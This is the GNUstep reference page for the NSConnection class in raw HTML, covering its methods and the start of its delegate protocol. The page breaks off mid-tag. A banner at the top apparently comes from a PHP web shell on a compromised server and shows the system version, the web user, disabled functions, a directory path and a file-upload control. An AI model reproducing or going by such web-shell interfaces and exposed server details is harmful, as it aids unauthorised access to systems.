![]() System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /usr/share/doc/gnustep-base-doc/Base/Reference/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>NSConnection class reference</title> </head> <body> <font face="serif"> <a href="Base.html">Up</a> <br /> <h1><a name="title$NSConnection">NSConnection class reference</a></h1> <h3>Authors</h3> <dl> <dt>Andrew Kachites McCallum (<a href="mailto:mccallum@gnu.ai.mit.edu"><code>mccallum@gnu.ai.mit.edu</code></a>)</dt> <dd> </dd> <dt>Richard Frith-Macdonald (<a href="mailto:rfm@gnu.org"><code>rfm@gnu.org</code></a>)</dt> <dd> </dd> </dl> <p><b>Copyright:</b> (C) 1994-2017 Free Software Foundation, Inc.</p> <div> <hr width="50%" align="left" /> <h3>Contents -</h3> <ol> <li> <a href="#001000000000">Software documentation for the NSConnection class</a> </li> <li> <a href="#002000000000">Software documentation for the NSObject(NSConnectionDelegate) informal protocol</a> </li> </ol> <hr width="50%" align="left" /> </div> <h1><a name="001000000000"> Software documentation for the NSConnection class </a></h1> <h2><a name="class$NSConnection">NSConnection</a> : <a rel="gsdoc" href="NSObject.html#class$NSObject">NSObject</a></h2> <blockquote class="declared"> <dl> <dt><b>Declared in:</b></dt> <dd>Foundation/NSConnection.h</dd> </dl> </blockquote> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> NSConnection objects are used to manage communications between objects in different processes, in different machines, or in different threads. </div> <b>Method summary</b> <ul> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+allConnections">+allConnections</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+connectionWithReceivePort$sendPort$">+connectionWithReceivePort:sendPort:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+connectionWithRegisteredName$host$">+connectionWithRegisteredName:host:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+connectionWithRegisteredName$host$usingNameServer$">+connectionWithRegisteredName:host:usingNameServer:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+currentConversation">+currentConversation</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+defaultConnection">+defaultConnection</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+rootProxyForConnectionWithRegisteredName$host$">+rootProxyForConnectionWithRegisteredName:host:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+rootProxyForConnectionWithRegisteredName$host$usingNameServer$">+rootProxyForConnectionWithRegisteredName:host:usingNameServer:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+serviceConnectionWithName$rootObject$">+serviceConnectionWithName:rootObject:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection+serviceConnectionWithName$rootObject$usingNameServer$">+serviceConnectionWithName:rootObject:usingNameServer:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-addRequestMode$">-addRequestMode:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-addRunLoop$">-addRunLoop:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-delegate">-delegate</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-enableMultipleThreads">-enableMultipleThreads</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-independentConversationQueueing">-independentConversationQueueing</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-initWithReceivePort$sendPort$">-initWithReceivePort:sendPort:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-invalidate">-invalidate</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-isValid">-isValid</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-localObjects">-localObjects</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-multipleThreadsEnabled">-multipleThreadsEnabled</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-receivePort">-receivePort</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-registerName$">-registerName:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-registerName$withNameServer$">-registerName:withNameServer:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-remoteObjects">-remoteObjects</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-removeRequestMode$">-removeRequestMode:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-removeRunLoop$">-removeRunLoop:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-replyTimeout">-replyTimeout</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-requestModes">-requestModes</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-requestTimeout">-requestTimeout</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-rootObject">-rootObject</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-rootProxy">-rootProxy</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-runInNewThread">-runInNewThread</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-sendPort">-sendPort</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-setDelegate$">-setDelegate:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-setIndependentConversationQueueing$">-setIndependentConversationQueueing:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-setReplyTimeout$">-setReplyTimeout:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-setRequestMode$">-setRequestMode:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-setRequestTimeout$">-setRequestTimeout:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-setRootObject$">-setRootObject:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSConnection-statistics">-statistics</a></li> </ul> <hr width="50%" align="left" /> <div class="method"> <h3><a name="method$NSConnection+allConnections">allConnections </a></h3> + (<a rel="gsdoc" href="NSArray.html#class$NSArray">NSArray</a>*) <b>allConnections</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns an array containing all the NSConnection objects known to the system. These connections will be valid at the time that the array was created, but may be invalidated by other threads before you get to examine the array. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+connectionWithReceivePort$sendPort$">connectionWithReceivePort: sendPort: </a></h3> + (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*) <b>connectionWithReceivePort:</b> (<a rel="gsdoc" href="NSPort.html#class$NSPort">NSPort</a>*)r<b> sendPort:</b> (<a rel="gsdoc" href="NSPort.html#class$NSPort">NSPort</a>*)s;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns a connection initialised using <a rel="gsdoc" href="#method$NSConnection-initWithReceivePort$sendPort$"> -initWithReceivePort:sendPort: </a> <br /> Both ports must be of the same type. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+connectionWithRegisteredName$host$">connectionWithRegisteredName: host: </a></h3> + (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*) <b>connectionWithRegisteredName:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)n<b> host:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)h;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> </p> <p> Returns an NSConnection object whose send port is that of the NSConnection registered under the name <var>n</var> on the host <var>h</var> </p> <p> </p> <p> This method calls <a rel="gsdoc" href="#method$NSConnection+connectionWithRegisteredName$host$usingNameServer$">+connectionWithRegisteredName:host:usingNameServer:</a> using the default system name server. </p> <p> </p> <p> Use <a rel="gsdoc" href="NSPortNameServer.html#class$NSSocketPortNameServer">NSSocketPortNameServer</a> for connections to remote hosts. </p> <p> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+connectionWithRegisteredName$host$usingNameServer$">connectionWithRegisteredName: host: usingNameServer: </a></h3> + (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*) <b>connectionWithRegisteredName:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)n<b> host:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)h<b> usingNameServer:</b> (<a rel="gsdoc" href="NSPortNameServer.html#class$NSPortNameServer">NSPortNameServer</a>*)s;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> </p> <p> Returns an NSConnection object whose send port is that of the NSConnection registered under <em>name</em> on <em>host</em>. </p> <p> </p> <p> The nameserver <em>server</em> is used to look up the send port to be used for the connection. <br /> Use <a rel="gsdoc" href="NSPortNameServer.html#method$NSSocketPortNameServer+sharedInstance">[NSSocketPortNameServer +sharedInstance]</a> for connections to remote hosts. </p> <p> </p> <p> If <em>host</em> is <code>nil</code> or an empty string, the host is taken to be the local machine. <br /> If it is an asterisk ('*') then the nameserver checks all hosts on the local subnet (unless the nameserver is one that only manages local ports). <br /> In the GNUstep implementation, the local host is searched before any other hosts. <br /> NB. if the nameserver does not support connections to remote hosts (the default situation) the host argeument should be omitted. </p> <p> </p> <p> If no NSConnection can be found for <em>name</em> and <em>host</em> host, the method returns <code>nil</code>. </p> <p> </p> <p> The returned object has the default NSConnection of the current thread as its parent (it has the same receive port as the default connection). </p> <p> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+currentConversation">currentConversation </a></h3> + (id) <b>currentConversation</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Return the current conversation... not implemented in GNUstep </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+defaultConnection">defaultConnection </a></h3> + (<a rel="gsdoc" href="#class$NSConnection">NSConnection</a>*) <b>defaultConnection</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns the default connection for a thread. <br /> Creates a new instance if necessary. <br /> The default connection has a single NSPort object used for both sending and receiving - this it can't be used to connect to a remote process, but can be used to vend objects. <br /> Possible problem - if the connection is invalidated, it won't be cleaned up until this thread calls this method again. The connection and it's ports could hang around for a very <strong>long</strong> time. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+rootProxyForConnectionWithRegisteredName$host$">rootProxyForConnectionWithRegisteredName: host: </a></h3> + (<a rel="gsdoc" href="NSDistantObject.html#class$NSDistantObject">NSDistantObject</a>*) <b>rootProxyForConnectionWithRegisteredName:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)n<b> host:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)h;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> This method calls <a rel="gsdoc" href="#method$NSConnection+rootProxyForConnectionWithRegisteredName$host$usingNameServer$">+rootProxyForConnectionWithRegisteredName:host:usingNameServer:</a> to return a proxy for a root object on the remote connection with the send port registered under name <var>n</var> on host <var>h</var>. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+rootProxyForConnectionWithRegisteredName$host$usingNameServer$">rootProxyForConnectionWithRegisteredName: host: usingNameServer: </a></h3> + (<a rel="gsdoc" href="NSDistantObject.html#class$NSDistantObject">NSDistantObject</a>*) <b>rootProxyForConnectionWithRegisteredName:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)n<b> host:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)h<b> usingNameServer:</b> (<a rel="gsdoc" href="NSPortNameServer.html#class$NSPortNameServer">NSPortNameServer</a>*)s;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> This method calls <a rel="gsdoc" href="#method$NSConnection+connectionWithRegisteredName$host$usingNameServer$">+connectionWithRegisteredName:host:usingNameServer:</a> to get a connection, then sends it a <a rel="gsdoc" href="#method$NSConnection-rootProxy">-rootProxy</a> message to get a proxy for the root object being vended by the remote connection. Returns the proxy or <code>nil</code> if it couldn't find a connection or if the root object for the connection has not been set. <br /> Use <a rel="gsdoc" href="NSPortNameServer.html#method$NSSocketPortNameServer+sharedInstance">[NSSocketPortNameServer +sharedInstance]</a> for connections to remote hosts. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+serviceConnectionWithName$rootObject$">serviceConnectionWithName: rootObject: </a></h3> + (id) <b>serviceConnectionWithName:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)name<b> rootObject:</b> (id)root;<br /> <div class="availability"> <b>Availability:</b> MacOS-X 10.5.0</div> <br /> <div class="desc"> <em>Description forthcoming.</em> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection+serviceConnectionWithName$rootObject$usingNameServer$">serviceConnectionWithName: rootObject: usingNameServer: </a></h3> + (id) <b>serviceConnectionWithName:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)name<b> rootObject:</b> (id)root<b> usingNameServer:</b> (<a rel="gsdoc" href="NSPortNameServer.html#class$NSPortNameServer">NSPortNameServer</a>*)server;<br /> <div class="availability"> <b>Availability:</b> MacOS-X 10.5.0</div> <br /> <div class="desc"> <em>Description forthcoming.</em> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-addRequestMode$">addRequestMode: </a></h3> - (void) <b>addRequestMode:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)mode;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Adds <var>mode</var> to the run loop modes that the NSConnection will listen to for incoming messages. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-addRunLoop$">addRunLoop: </a></h3> - (void) <b>addRunLoop:</b> (<a rel="gsdoc" href="NSRunLoop.html#class$NSRunLoop">NSRunLoop</a>*)loop;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Adds <var>loop</var> to the set of run loops that the NSConnection will listen to for incoming messages. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-delegate">delegate </a></h3> - (id) <b>delegate</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns the delegate of the NSConnection. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-enableMultipleThreads">enableMultipleThreads </a></h3> - (void) <b>enableMultipleThreads</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Sets the NSConnection configuration so that multiple threads may use the connection to send requests to the remote connection. <br /> This option is inherited by child connections. <br /> NB. A connection with multiple threads enabled will run slower than a normal connection. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-independentConversationQueueing">independentConversationQueueing </a></h3> - (BOOL) <b>independentConversationQueueing</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns <code>YES</code> if the NSConnection is configured to handle remote messages atomically, <code>NO</code> otherwise. <br /> This option is inherited by child connections. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-initWithReceivePort$sendPort$">initWithReceivePort: sendPort: </a></h3> - (id) <b>initWithReceivePort:</b> (<a rel="gsdoc" href="NSPort.html#class$NSPort">NSPort</a>*)r<b> sendPort:</b> (<a rel="gsdoc" href="NSPort.html#class$NSPort">NSPort</a>*)s;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> This is a designated initialiser for the class.<br /> <div class="desc"> Initialises an NSConnection with the receive port <var>r</var> and the send port <var>s</var>. <br /> Behavior varies with the port values as follows - <dl> <dt><var>r</var> is <code>nil</code></dt> <dd> The NSConnection is released and the method returns <code>nil</code>. </dd> <dt><var>s</var> is <code>nil</code></dt> <dd> The NSConnection uses <var>r</var> as the send port as well as the receive port. </dd> <dt> <var>s</var> is the same as <var>r</var> </dt> <dd> The NSConnection is usable only for vending objects. </dd> <dt> A connection with the same ports exists </dt> <dd> The new connection is released and the old connection is retained and returned. </dd> <dt> A connection with the same ports (swapped) exists </dt> <dd> The new connection is initialised as normal, and will communicate with the old connection. </dd> </dl> </p> <p> If a connection exists whose send and receive ports are both the same as the new connections receive port, that existing connection is deemed to be the parent of the new connection. The new connection inherits configuration information from the parent, and the delegate of the parent has a chance to adjust the configuration of the new connection or veto its creation. <br /> NSConnectionDidInitializeNotification is posted once a new connection is initialised. </p> <p> </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-invalidate">invalidate </a></h3> - (void) <b>invalidate</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Marks the receiving NSConnection as invalid. <br /> Removes the NSConnections ports from any run loops. <br /> Posts an NSConnectionDidDieNotification. <br /> Invalidates all remote objects and local proxies. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-isValid">isValid </a></h3> - (BOOL) <b>isValid</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns <code>YES</code> if the connection is valid, <code>NO</code> otherwise. A connection is valid until it has been sent an <a rel="gsdoc" href="#method$NSConnection-invalidate"> -invalidate </a> message. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-localObjects">localObjects </a></h3> - (<a rel="gsdoc" href="NSArray.html#class$NSArray">NSArray</a>*) <b>localObjects</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns an array of all the local objects that have proxies at the remote end of the connection because they have been sent over the connection and not yet released by the far end. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-multipleThreadsEnabled">multipleThreadsEnabled </a></h3> - (BOOL) <b>multipleThreadsEnabled</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns <code>YES</code> if the connection permits multiple threads to use it to send requests, <code>NO</code> otherwise. <br /> See the <a rel="gsdoc" href="#method$NSConnection-enableMultipleThreads"> -enableMultipleThreads </a> method. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-receivePort">receivePort </a></h3> - (<a rel="gsdoc" href="NSPort.html#class$NSPort">NSPort</a>*) <b>receivePort</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns the NSPort object on which incoming messages are received. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-registerName$">registerName: </a></h3> - (BOOL) <b>registerName:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)name;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Simply invokes <a rel="gsdoc" href="#method$NSConnection-registerName$withNameServer$"> -registerName:withNameServer: </a> passing it the default system nameserver. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-registerName$withNameServer$">registerName: withNameServer: </a></h3> - (BOOL) <b>registerName:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)name<b> withNameServer:</b> (<a rel="gsdoc" href="NSPortNameServer.html#class$NSPortNameServer">NSPortNameServer</a>*)svr;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Registers the receive port of the NSConnection as <var>name</var> and unregisters the previous value (if any). <br /> Returns <code>YES</code> on success, <code>NO</code> on failure. <br /> On failure, the connection remains registered under the previous <var>name</var>. <br /> Supply <code>nil</code> as <var>name</var> to unregister the NSConnection. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-remoteObjects">remoteObjects </a></h3> - (<a rel="gsdoc" href="NSArray.html#class$NSArray">NSArray</a>*) <b>remoteObjects</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns an array of proxies to all the remote objects known to the NSConnection. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-removeRequestMode$">removeRequestMode: </a></h3> - (void) <b>removeRequestMode:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)mode;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Removes <var>mode</var> from the run loop modes used to receive incoming messages. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-removeRunLoop$">removeRunLoop: </a></h3> - (void) <b>removeRunLoop:</b> (<a rel="gsdoc" href="NSRunLoop.html#class$NSRunLoop">NSRunLoop</a>*)loop;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Removes <var>loop</var> from the run loops used to receive incoming messages. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-replyTimeout">replyTimeout </a></h3> - (<a rel="gsdoc" href="TypesAndConstants.html#type$NSTimeInterval">NSTimeInterval</a>) <b>replyTimeout</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns the timeout interval used when waiting for a reply to a request sent on the NSConnection. This value is inherited from the parent connection or may be set using the <a rel="gsdoc" href="#method$NSConnection-setReplyTimeout$"> -setReplyTimeout: </a> method. <br /> The default value is the maximum delay (effectively infinite). </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-requestModes">requestModes </a></h3> - (<a rel="gsdoc" href="NSArray.html#class$NSArray">NSArray</a>*) <b>requestModes</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns an array of all the run loop modes that the NSConnection uses when waiting for an incoming request. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-requestTimeout">requestTimeout </a></h3> - (<a rel="gsdoc" href="TypesAndConstants.html#type$NSTimeInterval">NSTimeInterval</a>) <b>requestTimeout</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns the timeout interval used when trying to send a request on the NSConnection. This value is inherited from the parent connection or may be set using the <a rel="gsdoc" href="#method$NSConnection-setRequestTimeout$"> -setRequestTimeout: </a> method. <br /> The default value is the maximum delay (effectively infinite). </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-rootObject">rootObject </a></h3> - (id) <b>rootObject</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns the object that is made available by this connection or by its parent (the object is associated with the receive port). <br /> Returns <code>nil</code> if no root object has been set. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-rootProxy">rootProxy </a></h3> - (<a rel="gsdoc" href="NSDistantObject.html#class$NSDistantObject">NSDistantObject</a>*) <b>rootProxy</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns the proxy for the root object of the remote NSConnection. <br /> Generally you will wish to call <a rel="gsdoc" href="NSDistantObject.html#method$NSDistantObject-setProtocolForProxy$">[NSDistantObject -setProtocolForProxy:]</a> immediately after obtaining such a root proxy. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-runInNewThread">runInNewThread </a></h3> - (void) <b>runInNewThread</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Removes the NSConnection from the current threads default run loop, then creates a new thread and runs the NSConnection in it. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-sendPort">sendPort </a></h3> - (<a rel="gsdoc" href="NSPort.html#class$NSPort">NSPort</a>*) <b>sendPort</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns the port on which the NSConnection sends messages. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-setDelegate$">setDelegate: </a></h3> - (void) <b>setDelegate:</b> (id)anObj;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Sets the NSConnection's delegate (without retaining it). <br /> The delegate is able to control some of the NSConnection's behavior by implementing methods in an informal protocol. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-setIndependentConversationQueueing$">setIndependentConversationQueueing: </a></h3> - (void) <b>setIndependentConversationQueueing:</b> (BOOL)flag;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Sets whether or not the NSConnection should handle requests arriving from the remote NSConnection atomically. <br /> By default, this is set to <code>NO</code>... if set to <code>YES</code> then any messages arriving while one message is being dealt with, will be queued. <br /> NB. careful - use of this option can cause deadlocks. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-setReplyTimeout$">setReplyTimeout: </a></h3> - (void) <b>setReplyTimeout:</b> (<a rel="gsdoc" href="TypesAndConstants.html#type$NSTimeInterval">NSTimeInterval</a>)to;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Sets the time interval that the NSConnection will wait for a reply for one of its requests before raising an NSPortTimeoutException. <br /> NB. In GNUstep you may also get such an exception if the connection becomes invalidated while waiting for a reply <var>to</var> a request. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-setRequestMode$">setRequestMode: </a></h3> - (void) <b>setRequestMode:</b> (<a rel="gsdoc" href="NSString.html#class$NSString">NSString</a>*)mode;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Sets the runloop <var>mode</var> in which requests will be sent to the remote end of the connection. Normally this is NSDefaultRunloopMode </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-setRequestTimeout$">setRequestTimeout: </a></h3> - (void) <b>setRequestTimeout:</b> (<a rel="gsdoc" href="TypesAndConstants.html#type$NSTimeInterval">NSTimeInterval</a>)to;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Sets the time interval that the NSConnection will wait <var>to</var> send one of its requests before raising an NSPortTimeoutException. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-setRootObject$">setRootObject: </a></h3> - (void) <b>setRootObject:</b> (id)anObj;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Sets the root object that is vended by the connection. </div> <hr width="25%" align="left" /> </div> <div class="method"> <h3><a name="method$NSConnection-statistics">statistics </a></h3> - (<a rel="gsdoc" href="NSDictionary.html#class$NSDictionary">NSDictionary</a>*) <b>statistics</b>;<br /> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> Returns an object containing various statistics for the NSConnection. <br /> On GNUstep the dictionary contains - <dl> <dt>NSConnectionRepliesReceived</dt> <dd> The number of messages replied to by the remote NSConnection. </dd> <dt>NSConnectionRepliesSent</dt> <dd> The number of replies sent to the remote NSConnection. </dd> <dt>NSConnectionRequestsReceived</dt> <dd> The number of messages received from the remote NSConnection. </dd> <dt>NSConnectionRequestsSent</dt> <dd> The number of messages sent to the remote NSConnection. </dd> <dt>NSConnectionLocalCount</dt> <dd> The number of local objects currently vended. </dd> <dt>NSConnectionProxyCount</dt> <dd> The number of remote objects currently in use. </dd> </dl> </div> <hr width="25%" align="left" /> </div> <h1><a name="002000000000"> Software documentation for the NSObject(NSConnectionDelegate) informal protocol </a></h1> <h2><a rel="gsdoc" href="NSObject.html#class$NSObject">NSObject</a>(<a name="category$NSObject(NSConnectionDelegate)">NSConnectionDelegate</a>)</h2> <blockquote class="declared"> <dl> <dt><b>Declared in:</b></dt> <dd>Foundation/NSConnection.h</dd> </dl> </blockquote> <div class="availability"> <b>Availability:</b> OpenStep</div> <br /> <div class="desc"> This category represents an informal protocol to which NSConnection delegates may conform... These methods are not actually implemented by NSObject, so implementing these methods in your class has the effect documented. </div> <b>Method summary</b> <ul> <li><a rel="gsdoc" href="NSConnection.html#method$NSObject(NSConnectionDelegate)-authenticateComponents$withData$">-authenticateComponents:withData:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSObject(NSConnectionDelegate)-authenticationDataForComponents$">-authenticationDataForComponents:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSObject(NSConnectionDelegate)-connection$didConnect$">-connection:didConnect:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSObject(NSConnectionDelegate)-connection$shouldMakeNewConnection$">-connection:shouldMakeNewConnection:</a></li> <li><a rel="gsdoc" href="NSConnection.html#method$NSObject(NSConnectionDelegate)-makeNewConnection$sender$">-makeNewConnection:sender:</a></li> </ul> <hr width="50%" align="left" /> <div class="method"> <h3><a name="method$NSObject(NSConnectionDelegate)-authenticateComponents$withData$">authenticateComponents: withData: </a></h3> - (BOOL) <b>authenticateComponents:</b> (<a rel="gsdoc" href="NSArray.html#class$NSMutableArray">NSMutableArray</a>*)components<b> withData:</b> (<a 